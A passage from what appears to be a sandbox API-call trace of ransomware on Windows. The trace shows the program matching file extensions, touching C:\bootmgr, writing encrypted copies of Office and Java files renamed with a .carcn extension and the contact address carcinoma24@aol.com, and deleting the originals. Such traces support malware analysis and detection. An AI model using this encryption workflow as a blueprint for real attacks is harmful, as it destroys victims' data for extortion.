[0252.887] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.887] lstrlenW (lpString=".xls") returned 4 [0252.887] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.887] lstrlenW (lpString=".xlsx") returned 5 [0252.887] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.887] lstrlenW (lpString=".ppt") returned 4 [0252.887] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.887] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0252.887] lstrlenW (lpString=".zip") returned 4 [0252.887] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.887] lstrlenW (lpString=".rar") returned 4 [0252.887] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.887] lstrlenW (lpString=".bz2") returned 4 [0252.887] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.887] lstrlenW (lpString=".7z") returned 3 [0252.887] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.887] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0253.602] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0253.749] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0258.574] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.574] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0258.659] GetLastError () returned 0x0 [0258.659] ReadFile (in: hFile=0x4b4, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x562, lpOverlapped=0x0) returned 1 [0259.544] WriteFile (in: hFile=0x33c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x570, lpOverlapped=0x0) returned 1 [0259.545] ReadFile (in: hFile=0x4b4, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0259.545] WriteFile (in: hFile=0x33c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfc, lpOverlapped=0x0) returned 1 [0259.546] SetEndOfFile (hFile=0x33c) returned 1 [0259.546] CloseHandle (hObject=0x33c) returned 1 [0259.547] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0259.547] SetEndOfFile (hFile=0x4b4) returned 1 [0259.550] CloseHandle (hObject=0x4b4) returned 1 [0259.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0259.552] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0259.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.552] lstrlenW (lpString=".doc") returned 4 [0259.552] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0259.552] lstrlenW (lpString=".docx") returned 5 [0259.552] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0259.552] lstrlenW (lpString=".pdf") returned 4 [0259.552] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0259.552] lstrlenW (lpString=".xls") returned 4 [0259.553] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString=".xlsx") returned 5 [0259.553] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0259.553] lstrlenW (lpString=".ppt") returned 4 [0259.553] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.553] lstrlenW (lpString=".zip") returned 4 [0259.553] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString=".rar") returned 4 [0259.553] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString=".bz2") returned 4 [0259.553] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString=".7z") returned 3 [0259.553] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0259.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.553] lstrlenW (lpString=".dbf") returned 4 [0259.553] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.553] lstrlenW (lpString=".1cd") returned 4 [0259.553] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0259.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.553] lstrlenW (lpString=".jpg") returned 4 [0259.553] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.554] lstrlenW (lpString=".doc") returned 4 [0259.554] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString=".docx") returned 5 [0259.554] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0259.554] lstrlenW (lpString=".pdf") returned 4 [0259.554] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString=".xls") returned 4 [0259.554] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString=".xlsx") returned 5 [0259.554] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0259.554] lstrlenW (lpString=".ppt") returned 4 [0259.554] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.554] lstrlenW (lpString=".zip") returned 4 [0259.554] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString=".rar") returned 4 [0259.554] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString=".bz2") returned 4 [0259.554] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString=".7z") returned 3 [0259.554] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.554] lstrlenW (lpString=".dbf") returned 4 [0259.554] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.555] lstrlenW (lpString=".1cd") returned 4 [0259.555] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0259.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0259.555] lstrlenW (lpString=".jpg") returned 4 [0259.555] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0259.555] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".carcn") returned -1 [0259.555] lstrlenW (lpString="classlist") returned 9 [0259.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0259.556] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=84355) returned 1 [0259.556] CloseHandle (hObject=0x4b4) returned 1 [0259.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0259.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0259.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0259.556] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0259.557] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0259.557] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0259.557] GetLastError () returned 0x0 [0259.557] ReadFile (in: hFile=0x4b4, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x14983, lpOverlapped=0x0) returned 1 [0259.983] WriteFile (in: hFile=0x33c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x14990, lpOverlapped=0x0) returned 1 [0259.985] ReadFile (in: hFile=0x4b4, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0259.986] WriteFile (in: hFile=0x33c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe6, lpOverlapped=0x0) returned 1 [0259.986] SetEndOfFile (hFile=0x33c) returned 1 [0259.986] CloseHandle (hObject=0x33c) returned 1 [0259.996] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0259.996] SetEndOfFile (hFile=0x4b4) returned 1 [0260.000] CloseHandle (hObject=0x4b4) returned 1 [0260.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.001] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0260.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.001] lstrlenW (lpString=".doc") returned 4 [0260.001] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0260.001] lstrlenW (lpString=".docx") returned 5 [0260.001] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0260.001] lstrlenW (lpString=".pdf") returned 4 [0260.001] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0260.002] lstrlenW (lpString=".xls") returned 4 [0260.002] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0260.002] lstrlenW (lpString=".xlsx") returned 5 [0260.002] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0260.002] lstrlenW (lpString=".ppt") returned 4 [0260.002] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0260.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.002] lstrlenW (lpString=".zip") returned 4 [0260.002] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0260.002] lstrlenW (lpString=".rar") returned 4 [0260.002] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0260.002] lstrlenW (lpString=".bz2") returned 4 [0260.002] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0260.002] lstrlenW (lpString=".7z") returned 3 [0260.002] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0260.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.002] lstrlenW (lpString=".dbf") returned 4 [0260.002] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0260.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.002] lstrlenW (lpString=".1cd") returned 4 [0260.002] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0260.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.002] lstrlenW (lpString=".jpg") returned 4 [0260.002] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0260.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.002] lstrlenW (lpString=".doc") returned 4 [0260.002] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0260.003] lstrlenW (lpString=".docx") returned 5 [0260.003] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0260.003] lstrlenW (lpString=".pdf") returned 4 [0260.003] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0260.003] lstrlenW (lpString=".xls") returned 4 [0260.003] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0260.003] lstrlenW (lpString=".xlsx") returned 5 [0260.003] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0260.003] lstrlenW (lpString=".ppt") returned 4 [0260.003] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0260.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.003] lstrlenW (lpString=".zip") returned 4 [0260.003] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0260.003] lstrlenW (lpString=".rar") returned 4 [0260.003] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0260.003] lstrlenW (lpString=".bz2") returned 4 [0260.003] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0260.003] lstrlenW (lpString=".7z") returned 3 [0260.003] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0260.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.003] lstrlenW (lpString=".dbf") returned 4 [0260.003] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0260.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.003] lstrlenW (lpString=".1cd") returned 4 [0260.003] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0260.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0260.003] lstrlenW (lpString=".jpg") returned 4 [0260.003] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0260.004] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0260.004] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0260.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.004] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=51236) returned 1 [0260.004] CloseHandle (hObject=0x4b4) returned 1 [0260.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0260.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.005] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.005] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0260.007] GetLastError () returned 0x0 [0260.007] ReadFile (in: hFile=0x4b4, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xc824, lpOverlapped=0x0) returned 1 [0260.051] WriteFile (in: hFile=0x33c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xc830, lpOverlapped=0x0) returned 1 [0260.053] ReadFile (in: hFile=0x4b4, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0260.053] WriteFile (in: hFile=0x33c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe6, lpOverlapped=0x0) returned 1 [0260.053] SetEndOfFile (hFile=0x33c) returned 1 [0260.053] CloseHandle (hObject=0x33c) returned 1 [0260.055] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.055] SetEndOfFile (hFile=0x4b4) returned 1 [0260.058] CloseHandle (hObject=0x4b4) returned 1 [0260.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.059] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0260.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.060] lstrlenW (lpString=".doc") returned 4 [0260.060] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString=".docx") returned 5 [0260.060] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0260.060] lstrlenW (lpString=".pdf") returned 4 [0260.060] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString=".xls") returned 4 [0260.060] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString=".xlsx") returned 5 [0260.060] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0260.060] lstrlenW (lpString=".ppt") returned 4 [0260.060] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.060] lstrlenW (lpString=".zip") returned 4 [0260.060] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString=".rar") returned 4 [0260.060] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString=".bz2") returned 4 [0260.060] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0260.060] lstrlenW (lpString=".7z") returned 3 [0260.060] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.060] lstrlenW (lpString=".dbf") returned 4 [0260.061] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.061] lstrlenW (lpString=".1cd") returned 4 [0260.061] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.061] lstrlenW (lpString=".jpg") returned 4 [0260.061] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.061] lstrlenW (lpString=".doc") returned 4 [0260.061] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString=".docx") returned 5 [0260.061] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0260.061] lstrlenW (lpString=".pdf") returned 4 [0260.061] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString=".xls") returned 4 [0260.061] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString=".xlsx") returned 5 [0260.061] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0260.061] lstrlenW (lpString=".ppt") returned 4 [0260.061] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.061] lstrlenW 